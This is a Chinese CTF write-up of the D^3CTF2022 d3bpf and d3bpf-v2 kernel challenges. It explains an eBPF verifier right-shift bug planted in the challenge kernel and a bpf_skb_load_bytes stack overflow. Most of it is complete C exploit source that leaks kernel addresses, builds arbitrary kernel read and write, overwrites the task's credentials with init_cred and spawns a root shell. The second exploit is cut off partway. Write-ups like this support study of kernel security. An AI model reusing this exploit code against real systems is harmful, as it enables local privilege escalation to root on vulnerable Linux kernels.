【ebpf pwn】D^3CTF2022 -- d3bpf/d3bpf-v2

文章目录

  • 前言
  • d3bpf
  • d3bpf-v2
    • 泄漏 map_addr
    • 泄漏 koffset
    • 任意地址读写

前言

题目链接

虽然 ebpf 的利用热潮已经过去,但是作为一个刚刚接触内核利用的菜鸡,还是觉得有必要学习学习 ebpf 相关的漏洞利用,当然笔者不会在此花费太多时间,之前复现过几个 CVE,发现对于边界类越界漏洞的利用都大同小异。然后笔者找到了两个 CTF 中的题目来练习练习。

d3bpf

smep/smap/kaslr 全开,然后内核版本为 v5.11.0,这题有非预期,作者忘记 patch cve-2021-3490

qemu-system-x86_64 \
    -m 128M \
    -kernel bzImage \
    -initrd rootfs.cpio \
    -append 'console=ttyS0 kaslr quiet' \
    -monitor /dev/null \
    -cpu kvm64,+smep,+smap \
    -smp cores=1,threads=1 \
    -nographic \
    -s

然后人为 patch 了一个漏洞:

diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
index 37581919e..8e98d4af5 100644
--- a/kernel/bpf/verifier.c
+++ b/kernel/bpf/verifier.c
@@ -6455,11 +6455,11 @@ static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
                        scalar_min_max_lsh(dst_reg, &src_reg);
                break;
        case BPF_RSH:
-               if (umax_val >= insn_bitness) {
-                       /* Shifts greater than 31 or 63 are undefined.
-                        * This includes shifts by a negative number.
-                        */
-                       mark_reg_unknown(env, regs, insn->dst_reg);
+               if (umin_val >= insn_bitness) {
+                       if (alu32)
+                               __mark_reg32_known(dst_reg, 0);
+                       else
+                               __mark_reg_known_zero(dst_reg);
                        break;
                }
                if (alu32)

X86_64 下,对于 64 位寄存器进行右移操作时,如果操作数大于 63,那么大于 63 的部分会被忽略(也就是只有操作数的低 6 位是有效的),所以这里的利用是针对架构的。但是在漏洞分支中,当操作数大于 63/31 时,直接将寄存器设置成了常数 0,那么这里是存在问题的,比如:

BPF_MOV64_IMM(BPF_REG_8, 64),
BPF_ALU64_REG(BPF_RSH, BPF_REG_6, BPF_REG_8),

那么这里会直接将 R6 设置为 0,但是如果我们传入的 R6 = 1,那么 1 >> 64 还是等于 1,所以这里就成功构造了一个验证时为 0,实际运行时为 1 的寄存器 R6,后面的利用就比较套路了。

这里说一下,为什么不直接执行:BPF_ALU64_IMM(BPF_RSH, BPF_REG_6, 64),因为会报错:

12: (77) r6 >>= 64
invalid shift 64

这里会检查到 64shift 是无效的。当然这里大家可以思考一下如下代码:

// gcc demo.c
#include <stdio.h>
#include <stdlib.h>
int main() {
        unsigned long long a = 1;
        unsigned long long b = a >> 64;
        unsigned long long c = 1ULL >> 64;

        printf("b = %llu\nc = %llu\n", b, c);
        return 0;
}
/*
输出:
b = 1
c = 0
*/

提示:这里可以直接 objdump 看下这两个移位操作对应的汇编指令,当然或许已经被优化的看不出来了

这里我重新编译了一个 v5.11.0 的内核方便调试,最后 exp 如下:

v5.11.0alu_limit 的计算是存在漏洞的,所以这里不需要进行绕过

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <ctype.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <linux/bpf.h>
#include "bpf_insn.h"


void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(2);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[35m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: \033[0m%#lx\n", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(2);
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

    system("/bin/sh");

    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

static inline int bpf(int cmd, union bpf_attr *attr)
{
    return syscall(__NR_bpf, cmd, attr, sizeof(*attr));
}

static __always_inline int
bpf_map_create(unsigned int map_type, unsigned int key_size,
               unsigned int value_size, unsigned int max_entries)
{
        union bpf_attr attr = {
                .map_type = map_type,
                .key_size = key_size,
                .value_size = value_size,
                .max_entries = max_entries,
        };
        return bpf(BPF_MAP_CREATE, &attr);
}

static __always_inline int
bpf_map_lookup_elem(int map_fd, const void* key, void* value)
{
        union bpf_attr attr = {
                .map_fd = map_fd,
                .key = (uint64_t)key,
                .value = (uint64_t)value,
        };
        return bpf(BPF_MAP_LOOKUP_ELEM, &attr);
}

static __always_inline int
bpf_map_update_elem(int map_fd, const void* key, const void* value, uint64_t flags)
{
        union bpf_attr attr = {
                .map_fd = map_fd,
                .key = (uint64_t)key,
                .value = (uint64_t)value,
                .flags = flags,
        };
        return bpf(BPF_MAP_UPDATE_ELEM, &attr);
}

static __always_inline int
bpf_map_delete_elem(int map_fd, const void* key)
{
        union bpf_attr attr = {
                .map_fd = map_fd,
                .key = (uint64_t)key,
        };
        return bpf(BPF_MAP_DELETE_ELEM, &attr);
}

static __always_inline int
bpf_map_get_next_key(int map_fd, const void* key, void* next_key)
{
        union bpf_attr attr = {
                .map_fd = map_fd,
                .key = (uint64_t)key,
                .next_key = (uint64_t)next_key,
        };
        return bpf(BPF_MAP_GET_NEXT_KEY, &attr);
}

static __always_inline uint32_t
bpf_map_get_info_by_fd(int map_fd)
{
        struct bpf_map_info info;
        union bpf_attr attr = {
                .info.bpf_fd = map_fd,
                .info.info_len = sizeof(info),
                .info.info = (uint64_t)&info,

        };
        bpf(BPF_OBJ_GET_INFO_BY_FD, &attr);
        return info.btf_id;
}

int sockets[2];
int map_fd;
int expmap_fd;
int prog_fd;
uint32_t key;
uint64_t* value1;
uint64_t* value2;
uint64_t array_map_ops = 0xffffffff822362e0;
uint64_t init_cred = 0xffffffff82e891a0;
uint64_t init_task = 0xffffffff82e1b400;
uint64_t init_nsproxy = 0xffffffff82e88f60;
uint64_t map_addr = -1;
uint64_t koffset = -1;
uint64_t kbase = -1;
uint64_t tag = 0x6159617a6f616958;
uint64_t current_task;


struct bpf_insn prog[] = {

        BPF_LD_MAP_FD(BPF_REG_1, 3),    // r1 = [map_fd] = bpf_map ptr1
        BPF_MOV64_IMM(BPF_REG_6, 0),    // r6 = 0
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_6, -8), // *(uint64_t*)(fp - 8) = r6 = 0
        BPF_MOV64_REG(BPF_REG_7, BPF_REG_10),           // r7 = r10 = fp
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, -8),          // r7 = r7 - 8 = fp - 8
        BPF_MOV64_REG(BPF_REG_2, BPF_REG_7),            // r2 = r7 = fp - 8
        BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), // args: r1 = bpf_map ptr1, r2 = fp - 8
        BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),                          // if r0 <= r0 goto pc+1 right
        BPF_EXIT_INSN(),                                                // exit
        BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),                            // r9 = r0 = value_buf1 ptr
        BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_9, 0),                   // r6 = *(uint64_t*)r9 = value_buf1[0] = 1
        BPF_MOV64_IMM(BPF_REG_8, 64),                                   // r8 = 64
        BPF_ALU64_REG(BPF_RSH, BPF_REG_6, BPF_REG_8),                   // r6 = r6 >> 64 = 1 >> 64 = 1 [verifier 0]

        BPF_LD_MAP_FD(BPF_REG_1, 4),                                    // r1 = [expmap_fd] = bpf_map ptr2
        BPF_MOV64_IMM(BPF_REG_8, 0),                                    // r8 = 0
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_8, -8),                 // *(uint64_t*)(fp - 8) = r8 = 0
        BPF_MOV64_REG(BPF_REG_7, BPF_REG_10),                           // r7 = r10 = fp
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, -8),                          // r7 = r7 - 8 = fp - 8
        BPF_MOV64_REG(BPF_REG_2, BPF_REG_7),                            // r2 = r7 = fp - 8
        BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), // args: r1 = bpf_map ptr2, r2 = fp - 8
        BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),                          // if r0 <= r0 goto pc+1 right
        BPF_EXIT_INSN(),                                                // exit
        BPF_MOV64_REG(BPF_REG_7, BPF_REG_0),                            // r7 = r0 = value_buf2 addr


        BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x110),                       // r6 = r6 * 0x110 = 1 * 0x110 = 0x110


        BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_6),                   // r7 = r7 - r6 = value_buf2 addr - 0x110
        BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0),                   // r8 = *(uint64_t*)r7 = value_buf2[-0x110/8] = array_map_ops

        BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_8, 0x18),                // *(uint64_t*)(r9 +0x18) = value_buf1[3] = r8 = array_map_ops
        BPF_MOV64_REG(BPF_REG_2, BPF_REG_8),                            // r2 = r8 = array_map_ops

        BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0xc0),                // r8 = *(uint64_t*)(r7 +0xc0) = value_buf2[-(0x110-0xc0)/8] = map_addr
        BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_8, 0x20),                // *(uint64_t*)(r9 +0x20) = value_buf1[4] = r8 = map_addr

        BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_9, 8),                   // r8 = *(uint64_t*)(r9 +8) = value_buf1[1] = arb_read addr
        BPF_JMP_IMM(BPF_JEQ, BPF_REG_8, 0, 1),                          // if arb_read addr == NULL goto pc+1
        BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0x40),                // *(uint64_t*)(r7 +0x40) = value_buf2[-(0x110-0x40)/8] = btf = r8

        BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_9, 0x10),                // r8 = value_buf1[2] = fake_ops
        BPF_JMP_IMM(BPF_JEQ, BPF_REG_8, 0, 4),                          // if arb_write flag == 0 goto pc+4
        BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0),                   // expmap's bpf_map_ops = r8 = fake_ops
        BPF_ST_MEM(BPF_W, BPF_REG_7, 0x18, BPF_MAP_TYPE_STACK),         // map_type = BPF_MAP_TYPE_STACK
        BPF_ST_MEM(BPF_W, BPF_REG_7, 0x24, -1),                         // max_entries = -1
        BPF_ST_MEM(BPF_W, BPF_REG_7, 0x2c, 0),                          // spin_lock_off = 0
        BPF_ALU64_IMM(BPF_MOV, BPF_REG_0, 0),

        BPF_MOV64_IMM(BPF_REG_0, 0),
        BPF_EXIT_INSN(),

};

#define BPF_LOG_SZ 0x20000
char bpf_log_buf[BPF_LOG_SZ] = { '\0' };

union bpf_attr attr = {
    .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
    .insns = (uint64_t) &prog,
    .insn_cnt = sizeof(prog) / sizeof(prog[0]),
    .license = (uint64_t) "GPL",
    .log_level = 2,
    .log_buf = (uint64_t) bpf_log_buf,
    .log_size = BPF_LOG_SZ,
};


void init() {
        setbuf(stdin, NULL);
        setbuf(stdout, NULL);
        setbuf(stderr, NULL);
}

void trigger() {
        char buffer[64];
        write(sockets[0], buffer, sizeof(buffer));
}

void prep() {

        value1 = (uint64_t*)calloc(0x2000, 1);
        value2 = (uint64_t*)calloc(0x2000, 1);
        prctl(PR_SET_NAME, "XiaozaYa");

        map_fd = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x2000, 1);
        if (map_fd < 0) perror("BPF_MAP_CREATE"), err_exit("BPF_MAP_CREATE");

        expmap_fd = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x2000, 1);
        if (expmap_fd < 0) perror("BPF_MAP_CREATE"), err_exit("BPF_MAP_CREATE");

        prog_fd = bpf(BPF_PROG_LOAD, &attr);
        if (prog_fd < 0) puts(bpf_log_buf), perror("BPF_PROG_LOAD"), err_exit("BPF_PROG_LOAD");

        if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets) < 0)
                perror("socketpair()"), err_exit("socketpair()");

        if (setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd)) < 0)
                perror("socketpair SO_ATTACH_BPF"), err_exit("socketpair()");
//        puts(bpf_log_buf);
}

uint32_t arb_read_4_byte(uint64_t addr) {
        value1[0] = 1;
        value1[1] = addr - 0x58;
        value1[2] = 0;
        bpf_map_update_elem(map_fd, &key, value1, BPF_ANY);
        bpf_map_update_elem(expmap_fd, &key, value2, BPF_ANY);
        trigger();
        return bpf_map_get_info_by_fd(expmap_fd);
}

uint64_t arb_read(uint64_t addr) {
        uint64_t lo = arb_read_4_byte(addr);
        uint64_t hi = arb_read_4_byte(addr+4);
        return (hi << 32) | lo;
}

void prep_arb_write() {

        uint64_t buf[0x200/8] = { 0 };
        value1[0] = 1;
        value1[1] = 0;
        value1[2] = map_addr+0x110+0x20;

        uint64_t fake_ops[] = {
                0x0,0x0,0x0,0x0,
  0xffffffff81239770,
  0xffffffff8123ac60,
  0x0,
  0xffffffff8123a060,
  0xffffffff81239870,
  0x0,
  0x0,
  0xffffffff81217cf0,
  0x0,
  0xffffffff81217ac0,
  0x0,
  0xffffffff812399f0,
  0xffffffff81239f20,
  0xffffffff812398b0,
  0xffffffff81239870,
  0x0,
  0x0,
  0x0,
  0x0,
  0xffffffff8123a530,
  0x0,
  0xffffffff81239d00,
  0xffffffff8123a930,
  0x0,
  0x0,
  0x0,
  0xffffffff81239800,
  0xffffffff81239830,
  0xffffffff81239c90,
  0x0,
  0x0,
  0x0,
  0x0,
  0xffffffff8123a8f0,
  0xffffffff825cef67,
  0xffffffff836b4880,
  0xffffffff82236420
        };

        for (int i = 0; i < sizeof(fake_ops) / 8; i++) {
                if (fake_ops[i]) fake_ops[i] += koffset;
        }

        memcpy(value2, fake_ops, sizeof(fake_ops));
        bpf_map_update_elem(map_fd, &key, value1, BPF_ANY);
        bpf_map_update_elem(expmap_fd, &key, value2, BPF_ANY);

        trigger();
}

void arb_write_4_byte(uint64_t addr, uint32_t val) {

        value2[0] = val - 1;
        bpf_map_update_elem(expmap_fd, &key, value2, addr);
}

void arb_write(uint64_t addr, uint64_t val) {
        arb_write_4_byte(addr, val&0xffffffff);
        arb_write_4_byte(addr+4, (val>>32)&0xffffffff);
}

void leak() {

        uint64_t buf[0x2000/8] = { 0 };
        value1[0] = 1;
        value1[1] = 0;
        value1[2] = 0;
        bpf_map_update_elem(map_fd, &key, value1, BPF_ANY);
        bpf_map_update_elem(expmap_fd, &key, value2, BPF_ANY);
        trigger();

        memset(buf, 0, sizeof(buf));
        bpf_map_lookup_elem(map_fd, &key, buf);
//        binary_dump("LEAK DATA", buf, 0x100);

        if ((buf[3] & 0xffffffff00000fff) == (array_map_ops & 0xffffffff00000fff)) {
                koffset = buf[3] - array_map_ops;
                kbase = 0xffffffff81000000 + koffset;
                map_addr = buf[4] - 0xc0;
                hexx("koffset", koffset);
                hexx("kbase", kbase);
                hexx("map_addr", map_addr);
        }

        if (koffset == -1) err_exit("FAILED to leak kernel base");
        array_map_ops += koffset;
        init_cred += koffset;
        init_task += koffset;
        init_nsproxy += koffset;
        hexx("init_cred", init_cred);
        hexx("init_task", init_task);
        hexx("init_nsproxy", init_nsproxy);

        current_task = init_task;
        for (;;) {
//              hexx("current_task", current_task);
                if (arb_read(current_task+0xae8) == tag) {
                        break;
                }
                current_task = arb_read(current_task + 0x820) - 0x818;
        }
        hexx("current_task", current_task);

}

int main(int argc, char** argv, char** envp)
{

        init();
        prep();
        leak();
        prep_arb_write();

        arb_write_4_byte(current_task+0xad8, init_cred&0xffffffff);
        arb_write_4_byte(current_task+0xad8+2, (init_cred>>16)&0xffffffff);
        arb_write_4_byte(current_task+0xad0, init_cred&0xffffffff);
        arb_write_4_byte(current_task+0xad0+2, (init_cred>>16)&0xffffffff);
        arb_write_4_byte(current_task+0xb40, init_nsproxy&0xffffffff);
        arb_write_4_byte(current_task+0xb40+2, (init_nsproxy>>16)&0xffffffff);
        get_root_shell();

        puts("EXP NERVER END!");
        return 0;
}

效果如下:
在这里插入图片描述

d3bpf-v2

d3bpf 漏洞一模一样,主要就是内核版本切换到了 v5.16.12,在这个版本 ALU Sanitation 经过了两次加强:

  • alu_limit 的计算方式发生了改变,不是使用指针寄存器的当前位置,而是使用一个 offset 寄存器
  • 被认为是常数的寄存器赋值会被直接更改为常量赋值

所以之前的绕过方式已经不再管用了,这里展示了一个思路:利用 bpf_skb_load_bytes 函数构造栈溢出修改 ebpfarray value ptr 实现任意地址读写

bpf_skb_load_bytes 函数定义如下:其将一个 socket 中的数据读到 ebpf 栈上

BPF_CALL_4(bpf_skb_load_bytes, const struct sk_buff *, skb, u32, offset,
	   void *, to, u32, len)
{
	void *ptr;

	if (unlikely(offset > 0xffff))
		goto err_clear;

	ptr = skb_header_pointer(skb, offset, len, to);
	if (unlikely(!ptr))
		goto err_clear;
	if (ptr != to)
		memcpy(to, ptr, len);

	return 0;
err_clear:
	memset(to, 0, len);
	return -EFAULT;
}

static const struct bpf_func_proto bpf_skb_load_bytes_proto = {
	.func		= bpf_skb_load_bytes,
	.gpl_only	= false,
	.ret_type	= RET_INTEGER,
	.arg1_type	= ARG_PTR_TO_CTX,
	.arg2_type	= ARG_ANYTHING,
	.arg3_type	= ARG_PTR_TO_UNINIT_MEM,
	.arg4_type	= ARG_CONST_SIZE,
}

我们通过漏洞获得一个运行时值为 1,而 verifier 认定为 0 的寄存器 R6,然后可以指定一个很长的 len 从而实现 ebpf 栈溢出,而且值得注意的是这里复制数据采用的函数是 memcpy,其是不存在 \x00 截断的。

泄漏 map_addr

我们可以先将 map value ptr 保存到 ebpf 栈上:

BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_9, -8),                 // *(fp -8) = value1 ptr

然后利用 R6 构造栈溢出 2 字节的 len 修改保存在 ebpf 栈上的 value1 ptr 的低 2 字节为 \x?0\xc0 取泄漏 map_addr。这里说下理由,我们知道 map_addr 的低 2 字节为 \x?0\x00,而 map_addr+0xc0 的位置是 wait_list,其保存着 map_addr 的地址,即 wait_list 的低 2 字节为 \x?0\xc0,这样我们可以检查 value1[0] 是否是一个堆地址且 &0xfff == 0x0c0 这样就可以泄漏 map_addr 了:
在这里插入图片描述

泄漏 koffset

泄漏了 map_addr 后就比较简单了,利用 R6 构造栈溢出 8 字节的 len 修改保存在 ebpf 栈上的 value1 ptrmap_addr 即可泄漏出 array_map_ops 中的函数地址从而泄漏 koffset

任意地址读写

泄漏了 koffset 后,init_task/init_cred 等地址就知道了,对于任意读跟泄漏 koffset 一样,利用 R6 构造栈溢出 8 字节的 len 修改保存在 ebpf 栈上的 value1 ptrtarget_addr 即可,利用任意读,我们遍历 init_tasktasks 链表泄漏 current_task 地址

然后同理利用 R6 构造栈溢出 8 字节的 len 修改保存在 ebpf 栈上的 value1 ptrtarget_addr 即可实现任意写,这里我们直接修改 current_taskcred/real_credinit_cred 即可

exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <ctype.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <linux/bpf.h>
#include "bpf_insn.h"


void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(2);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[35m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: \033[0m%#lx\n", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(2);
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

    system("/bin/sh");

    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

static inline int bpf(int cmd, union bpf_attr *attr)
{
    return syscall(__NR_bpf, cmd, attr, sizeof(*attr));
}

static __always_inline int
bpf_map_create(unsigned int map_type, unsigned int key_size,
               unsigned int value_size, unsigned int max_entries)
{
        union bpf_attr attr = {
                .map_type = map_type,
                .key_size = key_size,
                .value_size = value_size,
                .max_entries = max_entries,
        };
        return bpf(BPF_MAP_CREATE, &attr);
}

static __always_inline int
bpf_map_lookup_elem(int map_fd, const void* key, void* value)
{
        union bpf_attr attr = {
                .map_fd = map_fd,
                .key = (uint64_t)key,
                .value = (uint64_t)value,
        };
        return bpf(BPF_MAP_LOOKUP_ELEM, &attr);
}

static __always_inline int
bpf_map_update_elem(int map_fd, const void* key, const void* value, uint64_t flags)
{
        union bpf_attr attr = {
                .map_fd = map_fd,
                .key = (uint64_t)key,
                .value = (uint64_t)value,
                .flags = flags,
        };
        return bpf(BPF_MAP_UPDATE_ELEM, &attr);
}

static __always_inline int
bpf_map_delete_elem(int map_fd, const void* key)
{
        union bpf_attr attr = {
                .map_fd = map_fd,
                .key = (uint64_t)key,
        };
        return bpf(BPF_MAP_DELETE_ELEM, &attr);
}

static __always_inline int
bpf_map_get_next_key(int map_fd, const void* key, void* next_key)
{
        union bpf_attr attr = {
                .map_fd = map_fd,
                .key = (uint64_t)key,
                .next_key = (uint64_t)next_key,
        };
        return bpf(BPF_MAP_GET_NEXT_KEY, &attr);
}

static __always_inline uint32_t
bpf_map_get_info_by_fd(int map_fd)
{
        struct bpf_map_info info;
        union bpf_attr attr = {
                .info.bpf_fd = map_fd,
                .info.info_len = sizeof(info),
                .info.info = (uint64_t)&info,

        };
        bpf(BPF_OBJ_GET_INFO_BY_FD, &attr);
        return info.btf_id;
}

int sockets[2];
int map_fd1;
int map_fd2;
int prog_fd;
uint32_t key;
uint64_t* value1;
uint64_t* value2;
char trigger_buf[0x2000];
uint64_t array_map_ops = 0xffffffff82238f20;
uint64_t init_cred = 0xffffffff82e90880;
uint64_t init_task = 0xffffffff82e1b4c0;
uint64_t init_nsproxy = 0xffffffff82e90640;
uint64_t map_addr = -1;
uint64_t koffset = -1;
uint64_t kbase = -1;
uint64_t tag = 0x6159617a6f616958;
uint64_t current_task;


struct bpf_insn prog[] = {

        BPF_MOV64_REG(BPF_REG_7, BPF_REG_1),                            // r7 = ctx
        BPF_LD_MAP_FD(BPF_REG_1, 3),                                    // r1 = [map_fd1]
        BPF_MOV64_IMM(BPF_REG_6, 0),                                    // r6 = 0
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_6, -8),                 // *(fp -8) = 0
        BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),                           // r2 = fp
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -8),                          // r2 = fp - 8
        BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), // args: r1 = bpf_map1 ptr, r2 = fp - 8
        BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),                          // if r0 <= r0 goto pc+1 right
        BPF_EXIT_INSN(),                                                // exit
        BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),                            // r9 = value1 ptr

        BPF_LD_MAP_FD(BPF_REG_1, 4),                                    // r1 = [map_fd2]
        BPF_MOV64_IMM(BPF_REG_5, 0),                                    // r5 = 0
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_5, -8),                 // *(fp -8) = 0
        BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),                           // r2 = fp
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -8),                          // r2 = fp - 8
        BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), // args: r1 = bpf_map2 ptr, r2 = fp - 8
        BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),                          // if r0 <= r0 goto pc+1 right
        BPF_EXIT_INSN(),                                                // exit
        BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),                            // r8 = value2 ptr


        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_9, -8),                 // *(fp -8) = value1 ptr

        BPF_MOV64_IMM(BPF_REG_6, 1),                                    // r6 = 1
        BPF_MOV64_IMM(BPF_REG_5, 64),                                   // r8 = 64
        BPF_ALU64_REG(BPF_RSH, BPF_REG_6, BPF_REG_5),                   // r6 = r6 >> 64 = 1 >> 64 = 1 [verifier 0]

        BPF_LDX_MEM(BPF_DW, BPF_REG_5, BPF_REG_8, 0),                   // r5 = value2[0] = len
        BPF_JMP_IMM(BPF_JNE, BPF_REG_5, 0xdead, 2),                     // leak map_addr
        BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 2),                           // r6 = 2 [verifier 0]
        BPF_JMP_IMM(BPF_JEQ, BPF_REG_5, 0xdead, 1),                     // jmp
        BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 8),                           // r6 = 8 [verifier 0]

        BPF_MOV64_REG(BPF_REG_1, BPF_REG_7),                            // r1 = ctx
        BPF_MOV64_IMM(BPF_REG_2, 0),                                    // r2 = 0
        BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),                           // r3 = fp
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -16),                         // r3 = fp -8
        BPF_MOV64_IMM(BPF_REG_4, 8),                                    // r4 = 8
        BPF_ALU64_REG(BPF_ADD, BPF_REG_4, BPF_REG_6),                   // r4 = 10 [verifier 8]
        BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes), // args: r1 = ctx, r2 = 0, r3 = fp -8, r4 = 10 [verifier 8]

        BPF_LDX_MEM(BPF_DW, BPF_REG_9, BPF_REG_10, -8),                 // r9 = value1 ptr

        BPF_LDX_MEM(BPF_DW, BPF_REG_4, BPF_REG_8, 0),                   // r5 = value2[0] = len
        BPF_JMP_IMM(BPF_JEQ, BPF_REG_4, 0xdead, 4),                     // jmp
        BPF_JMP_IMM(BPF_JEQ, BPF_REG_4, 0xbeef, 3),                     // jmp
        BPF_LDX_MEM(BPF_DW, BPF_REG_5, BPF_REG_8, 8),                   // r5 = value2[1]
        BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_5, 0),                   // value1[0] = value2[0]
        BPF_JMP_IMM(BPF_JEQ, BPF_REG_4, 0xdeef, 2),
        BPF_LDX_MEM(BPF_DW, BPF_REG_5, BPF_REG_9, 0),                   // r5 = value1[0]
        BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_5, 0),                   // value2[0] = value1[0]


        BPF_MOV64_IMM(BPF_REG_0, 0),                                    // r0 = 0
        BPF_EXIT_INSN(),                                                // exit()
};

#define BPF_LOG_SZ 0x20000
char bpf_log_buf[BPF_LOG_SZ] = { '\0' };

union bpf_attr attr = {
    .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
    .insns = (uint64_t) &prog,
    .insn_cnt = sizeof(prog) / sizeof(prog[0]),
    .license = (uint64_t) "GPL",
    .log_level = 2,
